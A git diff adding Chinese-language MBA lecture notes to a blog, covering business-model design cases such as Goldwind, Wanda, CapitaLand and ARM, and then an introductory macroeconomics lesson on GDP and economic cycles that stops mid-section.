+金风科技，作为中国新能源发展的亲历者与创新的推动者，是成立最早和具有自主研发风力发电设备能力的企业。金风科技在创业初期采取低成本竞争战略，抢占市场、获取收益；采取独家供应商战略，与国内供应商合作，降低成本、扩大规模。2004年前后，风机行业高速发展，有人断言，如果将营业额翻倍，市场容量将会实现指数级增长。由于低成本战略造成效能低下，所以无法满足市场大幅扩张需求，于是金风科技必须向欧洲供应商购买叶片以此提高产能，通过四次谈判，终于达成合作关系。 + +![](/uploads/2019/06/03-181.png) + +前三种交易方式由交易双方各自承担风险，如果有一方违约，另一方将会血本无归。于是，通过对交易结构的不断设计、演进，金风科技和欧洲供应商保持着多年合作关系。归根结底在于——交易方式的设计必须让交易双方互利共赢，共同创造价值增值并承担风险，由此来维持交易结构的稳定。 + +1.4 关键资源能力设计 + +资源能力设计有一套工具，简单实用，分为有效优势、关键劣势、无效优势、无关资源能力四类。 + +![](/uploads/2019/06/03-182.png) + +有效优势指企业的资源能力高过同行竞争对手，同时与企业的商业模式契合度很高，即企业能直接变现的资源能力。无效优势指企业拥有强势的资源能力，但是与其商业模式不匹配，导致无法变现。 + +1.4.1 对抗无效优势方法 + +第一，改变商业模式，将无效优势变成关键资源能力、变成有效优势。 + +第二，将过剩资源能力进行隔离处理，以它为中心，重新设计商业模式将它变现。 + +案例：通用电气 + +![](/uploads/2019/06/03-183.png) + +通过通用电气的案例可以发现，优秀的企业一定要拥有体系化的商业思维，擅长将过剩资源能力源源不断融入交易结构中，持续变现，由此提高企业价值。 + +1.4.2 解决关键劣势方法 + +第一，通过更改商业模式，降低这个关键资源能力重要性。 + +第二，不更改商业模式，但是通过培训、聘用外部团队等方式补足关键劣势。 + +作为企业，要不断地对它的资源能力进行盘点，有助于判断商业模式是否合理，是否需要调整、重构，最终保持资源能力的高效性，源源不断为企业创造价值。 + +1.4.3 万达案例 + +万达，作为中国商业地产领军企业，其关键资源能力设计值得我们研究与深思。由于经济周期下行，一直以重资产为商业模式的万达在几年前寻求转型轻资产。曾经，万达一家独揽买地、建设楼盘、买卖交易。而今，万达谋求投资人出资建设，自己则承担买地谈判、规划设计、招商运营，以未来租金收益分成为模式，即万达35%，投资人65%。大多数人觉得这种分成方式天衣无缝，合情合理。但是，如果从盈利模式配置工具角度来看，则不然。 + +![](/uploads/2019/06/03-184.png) + +如果从这个工具来看，万达作为甲方，竞争优势明显，而投资人竞争优势较弱，所以万达理应应该采取固定低、分成高模式，而投资人采取固定高、分成低模式。这与万达现在战略大相径庭，万达现在商业模式问题在于无法控制供应商质量，需要投资进行监督、考核，由此推升交易成本。 + +1.5 现金流结构设计 + +现金流结构可以从资产负债表角度来解析，资产负债表右侧的利益相关方投入资源能力，以不同的收支方式变现，左侧的利益相关方也投入资源能力，创造价值、变现后，再获取固定回报。随着利益方不断涌入，资金不断进行运作，提高企业价值。 + +![](/uploads/2019/06/03-185.png) + +案例：嘉德置地 + +嘉德置地，是新加坡一家国有企业，通过对现金流结构的设计，实现四两拨千斤。 + +第一阶段，成立商业地产基金，发行一支私募股权投资性质的基金，私募股权投资人对风险不够敏感，但是对回报要求高。如果基金回报率能达到20%+ 30%，就可以吸引投资人。于是，2004年开始在中国大陆买地、盖商业物业、出租。2004年中国商业地产价格处于低谷，2006年、2007年才开始起步。十年之后，基金到期、幸不辱命，投资人腰缠万贯，嘉德置地则通过收取2%的管理费，实现分成收益、大赚一笔。 + +第二阶段，嘉德置地成立REITS基金，该基金投资人都是对回报要求很低，但对风险超敏感。虽然投资人仅仅要求年回报不超过5%，但是不能赔本，而且最好年年分红。作为REITS产品，如果年分红率超过90%，可以不交税。所以，不断地吸引投资人。投资人通过地产租金靠租金得到回报，而嘉德置地则继续通过管理费获得分成收益。 + +由此，聪明绝顶的嘉德置地，几乎一毛不拔就分享了过去十几年中国商业地产高成长、高收益回报所有的钱，令人不禁唏嘘，这就是好的商业模式带来的力量。 + +![](/uploads/2019/06/03-186.png) + +二、如何构建竞争优势 + +2.1 交易模型 + +交易指交换或合作，有资源能力禀赋的利益主体通过交易创造和获取价值。交易价值指总收入。各个利益相关方的交易结构不同，产生的交易成本也不同，例如原材料、产成品、服务等直接成本不一样，货币成本也千差万别。利益主体创造的价值等于交易成本减货币成本，即价值增值。 + +![](/uploads/2019/06/03-187.png) + +不管是如今现行的互联网行业还是物联网行业，亦或将要到来的虚拟现实与区块链世界，都可以用这套交易模型进行分析。 + +2.2 创造价值与套利类型 + +商业模式通过价值创造与套利获取竞争优势。创造价值，即双方或多方交易，企业的新模式可以提高交易的价值增值。套利，即双方或多方交易，创造的价值增值没增加，但是其中一方通过模式设计夺走了大部分交易增加的价值。主要有以下方法。 + +![](/uploads/2019/06/03-188.png) + +2.2.1 闲置资源利用 + +旅行房屋租赁社区Airbnb，通过对房东闲置资源的利用，实现了民宿运营商、房东、房客等利益相关方共赢，推动了民宿行业的发展。 + +![](/uploads/2019/06/03-189.png) + +2.2.2 即需即供模式 + +互联网家装提供商爱空间，通过即需即供模式，实现三年10亿销售额，以即需即供为商业模式，通过随时获取消费者需求，对接闲置的施工队伍、设计师等，提高资源利用效率。其业务流程主要分为两步。第一，将每一个房间的装修分成15个工作包，包括电路、防水、瓦工等，每个工作包都有输入、输出工作及检查标准。第二，将需求工作包分别发送到施工队伍群、项目经理群、用户群、设计师群里，大家进行抢单。 + +随着企业经营规模不断扩大，不断吸引新的材料供应商加入，如科勒、西门子等。爱空间商业模式的人员成本微乎其微，但是却高效完成任务。大量的利益相关方在一起交易，共同创造价值，不断将爱空间商业生态发展、壮大。 + +![](/uploads/2019/06/03-190.png) + +2.2.3 计件收费模式 + +不同于以往剧院进场费（观众购买门票）模式，巴塞罗那Teatreneu剧院采用面部识别新科技，以观众发笑次数收费，即在每个座位后面加装一台平板电脑，用以记录观众的笑容次数，每笑一次收费0.3欧元，最高收费24欧元，下不封底。有些人也许会认为，观众可以“憋着不笑，免费看戏”。其实不然，技术手段可以有效对人脸面部表情进行识别，防止“作弊”，这就是技术发展为商业模式设计做出的贡献。 + +![](/uploads/2019/06/03-191.png) + +也许你被美剧的惊心动魄、跌宕起伏所陶醉，也许你认为是伟大的编剧及导演创造了这一切神奇。其实不尽然，电视的剧情是可以通过技术手段进行设计。在拍摄时，导演会邀请十几位观众佩戴特殊设备，用于测试他们的兴奋程度、悲伤程度，豪情逸致的剧情入局、昏昏欲睡的剧情出局，以保证给观众带来足够的感官及视觉体验。虽然现在这种特殊设备的应用还寥寥无几，但是我相信在未来将会大放异彩。 + +计件收费体现着盈利模式的变化，它会激励着利益相关方创造出更多价值，不断地提高企业竞争优势，推动企业向前发展。 + +2.2.4 杠杆资产 + +杠杆资产，即通过充分挖掘自身资源能力，巧妙设计交易结构，利用较少的自有资源撬动更多的利益相关方。 + +案例：时空电动 + +时空电动汽车股份有限公司是一家立足自有核心技术，以电动汽车定制、城市高频出行和移动电网服务为核心应用场景，致力于为城市交通迭代升级提供全面解决方案的新兴集团公司。通过杠杆资产对商业模式的重构，成为新能源行业的独角兽。其核心技术——一种特殊的胶状材料，通过为电动汽车电池提供保护膜，有效防止电池爆炸，即使爆炸最多就是冒点小烟，以此提高电池安全水平。 + +时空电动商业模式分为五步。第一，加工整箱电池（Pack）。第二，将胶状物涂在电池上，提高安全性。第三，成立车型研发部门，帮助日产等品牌改装电动车。第四，向汽车品牌商推销时空电动电池。第五，接管汽车品牌供应链，帮助其降低成本。于是，时空电动通过对杠杆资产的利用，进入整车市场，以全新的模式在行业中突出重围。 + +![](/uploads/2019/06/03-192.png) + +2.2.5 正外部性内化 + +经济外部性亦称外部成本、外部效应或溢出效应（Spillover Effect），包括正外部性和负外部性。正外部性是某个经济行为个体的活动使他人或社会受益，而受益者无须花费代价，比如企业通过赋能，促进价值增值；负外部性是某个经济行为个体的活动使他人或社会受损，而造成外部不经济的人却没有为此承担成本，比如环境污染。 + +案例：温氏集团 + +温氏集团，创立于1983年，通过多年对正外部性的探索，现已发展成一家以畜禽养殖为主业、配套相关业务的跨地区现代农牧企业集团。 + +![](/uploads/2019/06/03-193.png) + +虽然温氏集团商业模式十分成功，但是却鲜有人模仿，因为该模式受市场波动影响较大。养猪行业有些年份，将养殖环节和销售环节和管理环节等成本相加，是亏损的，也就是说，交易价格低于生态系统的成本。于是，历史上，温氏集团有几年赔了二三十亿，几乎将企业逼到绝境。 + +所以在中国，企业信用的成本非常高。2015年，在温氏集团上市时，很多股民蜂拥而至、一通哄抢。2016年，温氏集团利润高达150亿，但是2017年却锐减70%，很多股民高呼上当。其实，温氏集团并不是一个不守信用的公司，而是他们的股价收到市场风险的影响，所以在估值时，需要加上风险因素并打个折扣，才能有效评估企业价值、避免风险。 + +2.2.6 信息不对称性 + +信息不对称性，指的是在市场交易中，产品的卖方和买方对产品的质量、性能等所拥有的信息是不相对称的，通常产品的卖方对自己所生产或提供的产品拥有更多的信息，而产品的买方对所要购买的产品拥有更少的信息。 + +今日头条，通过探查每一个顾客的真实需求，让信息对称，为顾客创造价值。虽然今日头条拥有海量的知识和信息，但是顾客却没有，于是又造成信息不对称性。今日头条正是通过这种不对称的模式创造价值，赚钱、吸引广告商。 + +![](/uploads/2019/06/03-194.png) + +2.2.7 垄断 + +垄断竞争是一种介于完全竞争和完全垄断之间的市场组织形式。虽然经济学家反对，因为垄断会抑制创新，造成效率低下，但是企业管理其实需要垄断，因为差异化本质就是垄断。绝对差异化的商业模式，就是行业只有一个模式，以此创造价值。 + +案例：ARM公司 + +软银帝国的孙正义花300亿美金投资的英国ARM公司，是全球领先的半导体知识产权 (IP) 提供商。全世界超过95%的智能手机和平板电脑都采用ARM架构。ARM设计了大量高性价比、耗能低的RISC处理器、相关技术及软件。 + +所以，在物联网时代，芯片的数量以百倍、千倍的速度扩张，不出现意外的话，ARM的市值在未来将会突破万亿美金，这就是垄断模式。大家在设计商业模式时，要思考企业在一个行业中，哪些环节可以形成垄断，如果这个环节不存在，企业能否将现有的业务活动进行拆解，创造出来。随着技术不断走向精细化发展，这种机会将会逐渐增多，这就是垄断带来的价值。 + +2.2.8 企业成本转换 + +曾经的天虹商场，如果要提高服务质量，需要不断聘请管理人员监督、激励员工，并对员工进行培训。另外，邀请神秘顾客体验服务、提出改进建议。而现在，这些成本都不再需要，天虹通过开发APP，随时洞察消费者反馈，将成本转移给顾客，而顾客也享受着APP带来的便捷与乐趣。由此可见，企业通过将交易成本转移给客户，实现价值创造。 + +2.2.9 套利 + +海澜之家商业模式以套利为主。一方面，设计交给供应商来做，海澜之家仅作选款，将成本转移给供应商进行套利，以此来转化合作创造的价值增值。另一方面，出售加盟店股权，将未来收益变现，套二级市场的利。 + +星巴克用8+ 10倍的市盈率回购盈利加盟权的股权，然后利用母公司股权在二级市场上50倍、60倍去变现，就是利用二级市场去套一级市场的利。 + +可口可乐盈利模式的转化，从顾客获取收入到从可口可乐企业（浓缩液公司）获取收入，实现商业模式创新，提高企业竞争力。 + +综上所述，我们可以通过价值创造和套利的角度分析很多优秀商业模式形成的原因。重要的是，我们需要先从整体角度洞察价值创造逻辑，再从局部来看企业如何从创造的价值中获取自己该得的那一份，从套利的角度分析企业如何获得交易中不该得的那一份，最后实现企业持续经营。 + +三、商业模式设计经验谈 + +我在《超越战略：商业模式视角下的竞争优势构建》这本书写到36条商业模式设计经验，这里仅选取其中最关键的6条来告诉大家到底如何设计商业模式。 + +第一，追求价值创造的理念，必要的套利。有些企业，有时候为了模式设计而模式设计，虽然看似精雕细琢，但是忘记了做企业的本质是创造价值，而且创造的价值一定要超过各利益相关方投入资源能力的机会成本。如果没有超过，企业的商业模式很难持续运转，例如企业设计商业模式去洽谈利益相关方，利益相关方并不买账，或者买账后又反悔，原因就在于这个商业模式虽然可以让他们赚钱，但是不足以超过他现在资源能力在同样的时间干别的事所挣的钱，即机会成本。 + +第二，升级转型版本观念而非系统与大而全（脱离现实的愿景会带来贪婪）。作为炎黄子孙，我们有时候更偏爱整体思维、系统思维，而不注重或者忽视专业化思维是不足的，导致我们在设计一个商业模式的时候，往往喜欢大而全，一上来就把5.0的模式都设计好了，然后就按照5.0的思路去找相关资源。我们可以有远大理想，但是如果企业现在处于1.0阶段，就要先从2.0开始布局，逐步跨越到2.5，3.1，最终通过不断地商业模式演化、重构，实现5.0的愿景。 + +第三，商业模式的差异化创新很重要。当一个行业遍地开花、百舸争流时，如果企业想要成功，千万不要借鉴那些商业模式已经很成熟的企业，而是要创造一个不同的模式，剑走偏锋方能打开局面。 + +在同一个行业内，不仅要存在垄断企业，也要存在三至四家商业模式不同的企业。由此，企业才能既享受垄断带来的高收益，又给社会的创新、进步留下了足够的空间。 + +第四，努力用业务交易代替治理交易。将每一个业务活动、每一个角色设计成市场化，由此提高交易效率。 + +第五，为利益相关方设计商业模式。企业在设计商业模式时，不但要考虑自身利益，还要帮着利益相关方，帮助顾客，帮助供应商，帮助顾客的顾客，帮助合作伙伴的合作伙伴去设计商业模式。由此，才能提高企业生态系统的竞争优势。 + +第六，实现顾客粘性、借用利益相关方的资源、能力永远比想象的难。现在一些企业经常提到搭便车，比如京东拿到腾讯的投资以为就可以随心所欲利用腾讯的流量提高自身价值了，其实不然因为如果京东为腾讯创造的价值没有超过其机会成本，双方的合作注定无疾而终。 + +商业模式课程到此结束，感谢大家的支持！ \ No newline at end of file diff --git a/_posts/2019-06-05-400-mba0501.md b/_posts/2019-06-05-400-mba0501.md new file mode 100644 index 0000000..a6879d4 --- /dev/null +++ b/_posts/2019-06-05-400-mba0501.md @@ -0,0 +1,354 @@ +--- +layout: post +title: 【经济学模块】 第1节 宏观经济和大类资产：基本原理 +pid: 400 +tags: [mba] +--- + +引言 + +米尔顿·弗里德曼（1976年诺贝尔经济学获奖者）曾说：“我1932年大学毕业，当时美国正处于历史上空前绝后的最严重萧条的谷底。经济问题是当时的主要问题。如何摆脱萧条？如何降低失业？什么解释了一方面需求旺盛而另一方面资源闲置的矛盾？在这种情况下，成为经济学家看起来比成为应用数学家或精算师对当时这些急切需要解决的问题更为重要。” + +从这位诺贝尔经济学获奖者口中，我们发现宏观经济学是为了解决国家经济问题、实现经济繁荣。纵观经济发展史，我们发现，宏观经济学曾数次试图挽救国家于水火。本节课，我们将主要讲述三个宏观经济学问题： + +第一， 经济为什么会增长？ + +第二， 经济为什么会波动？ + +第三， 研究宏观经济有什么作用？ + +一、经济为什么会增长？ + +1.1 GDP创造财富 + +GDP是一个国家宏观经济上所创造的增加值及财富。改革开放以来，中国GDP快速上升，在2017年达到82.7万亿人民币，折合12.2万亿美元，占全球15%，排在美国之后，为世界上第二大经济体。美国去年创造的GDP约19万亿美元，占全球的24%。中美两国GDP比重相加，占全球40%。而排名第三位的日本，大约占5%，排名再往后的国家所占比重更微乎其微。 + +![](/uploads/2019/06/05-01.png) + +大家老生常谈的中印之争，印度GDP占全球3.001%，经济总量其实根本没法和中国相比。以上就是全球经济的权力分布情况。 + +从改革开放至今四十年，中国年均实际GDP增速9.5%，如果加上价格因素，中国每年创造的名义GDP增速约12%至15%，即年均宏观资产回报率约13%。对于个人来说，如果你投资的收益率低于13%，你就跑输了GDP，这就是中国经济快速增长造就了很多企业在短时间内快速崛起的原因。相比中国，美国GDP年均增速2%，欧洲1%，日本年均0增长。 + +从市场规模来看，中国是14亿人，美国3.2亿人，日本1.3亿人，整个欧元区是5.1亿人，整个欧洲是7亿人。所以，最好的投资机会就在中国，因为中国市场足够庞大，而且还在高速增长，如果在中国都找不到投资机会，那么在其他领域、其他的经济体，就更找不到投资机会。 + +那么，你为什么要跑赢宏观经济？为什么一定要做大类资产配置？为什么一定要研究宏观经济？因为研究宏观经济有助于个人和企业有效配置资产，实现财富增长。 + +货币的超发对应货币的贬值。2008年至2017年，中国货币量始终处于超发状态，增长率约15%，但是自2017年以来，开始逐渐下降，2018年5月已经降至8.3%。由此可见，如果个人财富增长率低于10%，现金基本就处于贬值状态。 + +![](/uploads/2019/06/05-02.png) + +![](/uploads/2019/06/05-03.png) + +数据来源：东方财富网 + +1.2 增长核算理论 + +增长核算理论认为经济增长可拆分为劳动力增长、资本增长和全要素生产率增长。 + +从劳动力角度，在过去，中国人口众多、年龄小、劳动力成本较低，推升中国的制造业出口，而随着中国人口老龄化加剧，劳动力成本开始上升、刘易斯拐点出现。刘易斯拐点是指在工业化进程中，随着农村富余劳动力向非农产业的逐步转移，农村富余劳动力逐渐减少，最终达到瓶颈状态。所以，我们要由人口数量优势转变成人口质量优势，例如工程师红利等。 + +从资本角度，创造财富的过程中会产生人力资本、不动产的资本，设备成本，厂房建造成本等。 + +从生产率角度，全要素生产率是指除了资本和劳动以外，有利于改善生产效率的要素，包括重大技术变革、改革开放制度变革、组织的优化与兼并重组，甚至企业家精神的组合，以此提升效率。例如，从农民到产业工人的身份转变，这个过程提高了全要素生产率。所以，创造财富的力量，来自于劳动、资本和全要素生产率。 + +当下，中国越来越难以依靠劳动力的增长来驱动经济，因为人口的综合生育率曲线呈现倒U型，即当工资水平较低时，生育率高；当工资水平越来越高时，生育率低。所以，越发达的国家，女性生育意愿越低，老龄化越严重。例如，日本一对夫妇只生1.4个孩子，开出租车的司机大都是60-70岁以上的老人。 + +![](/uploads/2019/06/05-04.png) + +中国现在的人均GDP是8800美元，已经接近发达国家人均12600美元的数值。 + +所以，中国需要依靠人口的质量而不是人口数量来驱动经济发展。例如，中国每年有数百万本科生、研究生、博士生毕业，而号称是世界第八大经济体的韩国，仅有5000万毕业生，中国台湾为2300万。中国每年还有约1000万考生参加高考，数字惊人。另外，自改革开放以来，中国的资本存量逐年增长，势头强劲。 + +![](/uploads/2019/06/05-05.png) + +1.3 GDP三种统计方法 + +GDP有三种统计方法：生产法、支出法和收入法。 + +1.3.1 生产法 + +生产法是从生产过程中创造的货物和服务价值入手，剔除生产过程中投入的中间货物和服务价值，得到增加价值的一种方法。从供给侧角度来看，是分行业创造的增加值。 + +自90年代以来，以制造业、建筑业为主的第二产业由扩大到收缩，而以服务业为主的第三产业占比却不断扩大，主要分为两类——生产型服务业和消费型服务业。 + +![](/uploads/2019/06/05-06.png) + +以农业为主的第一产业占比不断缩小，虽然中国农业人口占比较高、城镇化率约40%，但2016年农业创造的GDP却不到10%。所以，农业生产效率处于低位。中国农业不能简单地像美国那样——引进城市资本到农村来实现大规模现代化。 + +中国一位顶级农业领域的专家认为，“土地在中国不仅是生产要素，还是对农民的保障，是中国社会保障体系的一部分。”例如，在2008年国际金融危机时，中国失业率将近20%，但是没有发生重大社会动荡，因为中国有2亿多农民工下岗返乡，农村是他们的后路，他们有宅基地、承包地可以养家糊口，这就是土地对社会保障体系的作用。所以，改革必须相互配套——土地制度的改革一定对应的是社会保障体系的变革，而最佳对策就是通过产业就业来进行保障。 + +虽然以工业化、投资为主体的中国第二产业依旧突飞猛进，但其实这个趋势在近两年已经远去，如今中国社会已经开始步入到一个以消费、以服务业主导的发展阶段。消费占美国GDP的比重约80%，而制造业仅为11%，当然中国并不会像美国那么极致。 + +从宏观经济发展角度看，消费升级一般分为四个阶段。第一阶段为1980s，主要解决温饱问题，农业发展迅速。第二阶段为1990s，主要为耐用品阶段，例如家电、自行车等，工业一飞冲天。第三个阶段为2000年以后，解决住行问题，所以房地产、汽车行业兴起并发展。如今，当居民解决了物质需求，即解决温饱、拥有足够的耐用品、房子、汽车以后，就步入精神需求阶段。正如党的十九大报告提出，中国特色社会主义进入新时代，我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾。所以，宏观经济领域从下往上看，赛道日渐明晰——第二产业境况势微，而第三产业方兴未艾。 + +综上，以生产法来衡量GDP，其实它不简单是一个经济增长的过程，而是整个产业排浪式升级的过程，对应消费升级的过程、时代的变迁以及投资机会的出现，同时也会造成经济周期的波动。 + +1.3.2 支出法 + +支出法是从最终使用的角度反映一个国家（或地区）一定时期内生产活动最终成果的一种方法。最终使用包括最终消费、资本形成总额和净出口三部分。计算公式为：国内生产总值＝最终消费＋资本形成总额＋净出口（出口-进口）。简而言之，就是GDP的流向，例如消费、投资、进出口。所以，支出法是从需求的角度来核算GDP。 + +![](/uploads/2019/06/05-07.png) + +自90年代以来，中国消费的比重在上升、投资的比重在下降，这与第一、第二、第三产业发展趋势相对应。当然，在净出口的统计数据上存在问题，只具核算意义、没有实际意义，因为实际上中国的经济开放度很高，大进大出，最后却都统计为净出口。但中国的贸易部门对中国经济影响巨大，例如中国庞大的出口带动了就业，继而推动消费升级，带来技术的外溢。所以，贸易对经济的贡献不能简单表现为核算进出口的概念。 + +1.3.3 收入法 + +收入法是从生产过程形成收入的角度，对常住单位的生产活动成果进行核算。国民经济各产业部门收入法增加值由劳动者报酬、生产税净额、固定资产折旧和营业盈余四个部分组成。计算公式为：增加值＝劳动者报酬＋生产税净额＋固定资产折旧＋营业盈余。简而言之，就是社会的财富如何分配。 + +![](/uploads/2019/06/05-08.png) + +各个经济体财富分配比重不尽相同。美国的消费占GDP比重为78%，这与第三产业80%的占比相对应。从生产到消费，就是将财富分配的过程，给居民发工资，劳动者报酬；上缴税款，生产税额；留存收益增加，固定资产加速折旧；营业盈余，进行扩大再生产或股东分红。 + +劳动者报酬占比日渐增加，而营业盈余、生产税净额、固定资产折旧的占比却下降。其实，中国的劳动者报酬在整个的收入分配里面，占比约40%，远低于美国等发达国家（>50%）。由于劳动者报酬占比偏低，居民没有足够的资金去消费、去享受服务，所以中国第三产业及消费占GDP比重在全球范围内也偏低。 + +北欧国家与美国情况也有差异，虽然北欧国家劳动者报酬占比也不高，这是因为劳动者需要大量交税，交税以后是高福利保障，这就是他们的分配模式。 + +中国的税负比重较高。例如，中国个人所得税是一种累计税，最高等级为45%，而美国最高等级税率比中国低，约30%。另外，美国采取综合征收制。综合征收制是以家庭为单位作为个税纳税单位的，将家庭各成员一年内的各项收入进行加总，再根据家庭情况适用费用减除进行计税的。在美国，很多纳税人必须聘请律师协助报税，因为美国税法细致入微，一旦居民逃税，征信将受到重大影响。 + +中国采取分项征收制，即工薪税。分项征收税是对同一纳税人不同类别的所得，按不同的税率分别征税，我国现行个人所得税税法列举的征税所得项目包括工资、薪金所得，个体工商户的生产、经营所得等。 + +综上，中美税制最大的争议就是居民工资所得与缴税比例。工薪税占中国个人所得税70%以上，即中国大部分税收收入由工薪阶层所缴纳，而美国，收入最高的5%富人家庭缴纳美国个人收入所得税总额的86%。 + +所以，中国的个人所得税改革不仅需要提高起征点，还需要抵扣，例如税收应该减去家庭抚养子女、赡养老人、看病等一些支出，就像有些国家为了鼓励全民学习，实行送书、买书抵扣等政策。 + +中国的企业所得税税负主要来自于两方面。第一、名义税率重。第二、租金比较重。简言之，就是隐形税负比较重，例如增值税、消费税等。中国过去税负较重的原因是——征完税，企业就会利用营业盈余去投资、滚动发展；如果都发了钱，个人就会去消费而不是投资实业，也就没法迎头赶上美国。所以，要用历史及发展的眼光看问题。如今，《十九大报告》、“两会”都提出了税收改革的方向，符合大势所趋。 + +中国过去税负重，企业却盈利好的原因如下： + +1、劳动力便宜。 + +2、土地便宜。 + +3、资源或环境污染成本低。 + +所以，在过去，中国是牺牲了其他部门的利益来补贴工业部门的税负，而当今倡导可持续发展，我们再不能以牺牲子孙后代的发展为代价，所以在环境成本、劳动力成本提高以后，就必须降低税负以保障企业发展。 + +综上，生产法、支出法、收入法三个维度可以用于研究财富的来源、创造者、未来走向，劳动力和资本的增长以及技术进步正是经济增长的源泉。 + +二、经济为什么会波动？ + +虽然经济发展向上的力量非常惊人，但是经济周期向下的力量有时也具有毁灭性。例如，1998年亚洲金融风暴、2008年美国次贷危机。 + +经济为什么不能平稳运行，而一定要波动呢？不管政府宏观调控政策，还是诺贝尔经济学获奖者，都是为了保障和研究经济如何平稳运行，但直到现在，依然解决不了经济周期的波动问题。 + +其实，如果没有经济周期的波动，就无法有效进行资源配置，因为很多人靠经济周期波动赚钱。巴菲特说：“在别人恐慌时我贪婪，在别人贪婪时我恐慌。”第一个讲的是人性，第二个讲的就是经济的波动。因为只有当经济恐慌的时候，大家才会甩卖便宜的资产，当经济过热的时候，会驱动人的动物精神非理性。数次全球金融危机证实——强大的心理驱动力可以大大削减一个国家的财富，从对房价上涨的盲目信念，到在资本市场里的爆表自信，动物精神不仅驱动着全球性金融事件，也搅乱了中国经济和资本市场（选自乔治·阿克洛夫/罗伯特·席勒所著《动物精神》）。 + +2.1 经济发展周期定义 + +经济周期是市场经济中由个人或企业自主行为引发的商业律动。现实中的经济运行由多股商业周期力量叠加嵌套而成，并受逆周期调控政策影响，包括商业周期——农业周期、商品存货周期、设备投资周期、住房建设周期、创新周期，政治周期，社会周期。 + +![](/uploads/2019/06/05-09.png) + +2.1.1 农业周期 + +农业周期也成为蛛网周期，通常为1-12个月，是指在农业再生产过程中，从种子或幼畜进入生产过程开始，到获得产品的整个生产过程所经过的全部时间，其实质是生产对价格的反应。例如，今年洋葱种植户少，供不应求，产品价格大涨，农民赚了钱。但这意味着——在次年，很多人受利益驱使去种植洋葱，使洋葱的种植面积不断扩大，造成供过于求，生产过剩，价格下跌。因此，第三年没有农户再种植洋葱，导致价格上涨，循环往复，这就是农业周期。 + +2.1.2 存货周期 + +存货周期是指某一类产品、材料或某个单品进出仓库的循环时间。存货反映产能的缓冲带，当经济发展的时候，存货被快速消耗，企业家开始补库存以满足市场需求。在这个过程中，企业家赚取价差，获得盈利，动物精神会驱使他更多地去补充存货。由于个体是无法看清整个宏观经济的供求形势，个体都是通过过去的记忆来做投资——赚钱时，加大投资、补充存货，导致供过于求、价格下跌，然后开始去库存。 + +存货周期通常为2-4年，正常来约3年半，包含加库存、去库存的时间。由于大量囤积的库存与商品、原材料密切相关，所以存货周期对商品价格有较大影响。 + +2.1.3 产能周期 + +产能是指在给定的技术条件下，资本和劳动力被充分利用后所能达到的最高产出。产能投资周期是经济波动中的主周期，长度6-11年，主要内容是设备投资和就业雇佣的周期性调整。 + +产能周期分为四个阶段：第一阶段，当经济繁荣的时，企业家过度乐观，进行产能扩张，导致产能过剩。第二阶段，由于产能过剩、供过于求，引发通货紧缩，市场上商品价格不断降低，企业盈利受损。在这个过程中，中小企业退出，大企业淘汰落后产能，这是一个供给出清的过程。第三阶段，产能出清尾声，行业集中度大幅提升、剩者为王，企业利润不断提高，开始修复资产负债表，为新一轮产能扩张蓄积力量。但因为刚刚过完冬天，企业对未来前景仍然谨慎，新增产能扩张不是很明显。第四个阶段，随着企业盈利持续改善和资产负债表修复，新的产能扩张，并带动需求，后期增加供给。 + +在产能出清、行业集中度提升、剩者为王、资产负债表修复、扩大新增产能的过程，也提升行业平均效率和规模经济，促进大企业加大研发投入和设备更新，有转型升级的内涵。 + +2.1.4 创新周期 + +创新周期指的是由技术创新力量推动、长度为50～60年经济周期，它是理解长波经济的钥匙，主要体现为创新驱动、重大的技术变革带来新的产业投资机会。最有远见、视觉最敏锐企业家通过投资前沿技术，获得超额利润，其他企业家随之涌入，利润被摊薄，出现过剩、债务风险，然后周期行将结束，等待下一个创新周期开始。 + +创新周期背后的逻辑是长期的债务周期。熊彼特将创新周期总结为60年，与此相类似，长期债务周期也约为60年。创新周期理论与债务周期理论是一个硬币的两面。当经济利好时，银行愿意贷款给企业，企业进行扩张，债务上升；当经济低迷时，银行开始抽债，企业面临资金困难。由此可见，信贷是顺周期的，与债务周期异曲同工。 + +2.1.5 房地产周期 + +房地产周期的决定因素是长期看人口、中期看土地、短期看金融。 + +房地产周期从长期来看，是人口周期的一部分。在房地产初期，人口红利和城乡人口转移会提升经济潜在增长率，使居民收入快速增长，同时，消费升级带动住房需求；20-50岁置业人群增加，带来购房需求和投资高增长；高储蓄率和不断扩大的外汇占款，导致流动性过剩，推升房地产价格。随后，随着人口红利消失和刘易斯拐点出现，经济增速换挡，居民收入放缓；随着城镇住房饱和度上升，置业人群达到峰值，房地产投资长周期拐点到来。随着房地产黄金时代的结束，后房地产时代的典型特点是“总量放缓、结构分化”，人口迁移实际上决定了不同区域的房地产市场概况，人口将继续往大都市去迁移聚焦。 + +金融、人口因素是影响房地产需求的主要因素，而土地则是影响房地产供给的主要因素。由于从供地到开发商拿地、开工，再到预售或竣工待售形成住房供给，存在2年左右的时滞；并且，土地供给政策及计划还可能通过预期传导直接影响当期房地产市场。因此，土地因素对房地产周期的影响主要在中期，介于人口因素和金融因素之间。 + +房地产短周期是指由于利率、抵押贷首付比、税收等短期变量引发的波动，通过改变居民的支付能力和预期使得购房支出提前或推迟。因此，房地产市场的销量、土地购置和新开工投资是重要的经济先行指标。 + +综上中国自1978年改革开放以来经历了四轮的产能周期——短期的库存周期、中期的产能周期、长期的新周期、房地产周期，以及金融周期。中国GDP平均每年增长9.5%，但这并不是直线增长，而是剧烈波动，曾达到15%高位，也曾有4%低谷期。 + +其次，人都有从众心里，每年举行的伯克希尔·哈撒韦股东大会（巴菲特股东大会），很多人都选择去奥马哈朝圣、聆听首富声音。其实，巴菲特反复强调：“在别人恐慌的时候，我贪婪；在别人贪婪的时候，我恐慌。”但是，要做到这点真的很难，因为大多数人都是——在别人恐慌的时候，心如刀割，自己更恐慌；在别人贪婪的时候，盲目跟风，自己更贪婪。 + +作为一名经济学家或者分析师，他的价值在于对事物要有自己的判断。有些观念在一开始提出的时候，总是不被认同的。 + +2.2 经济周期的产生渠道 + +在全球化背景下，经济周期会产生全球共振。经济周期有两个产生渠道。第一，贸易渠道。第二，金融渠道。 + +2.2.1 贸易渠道 + +经济周期产生的第一个渠道是贸易渠道。 + 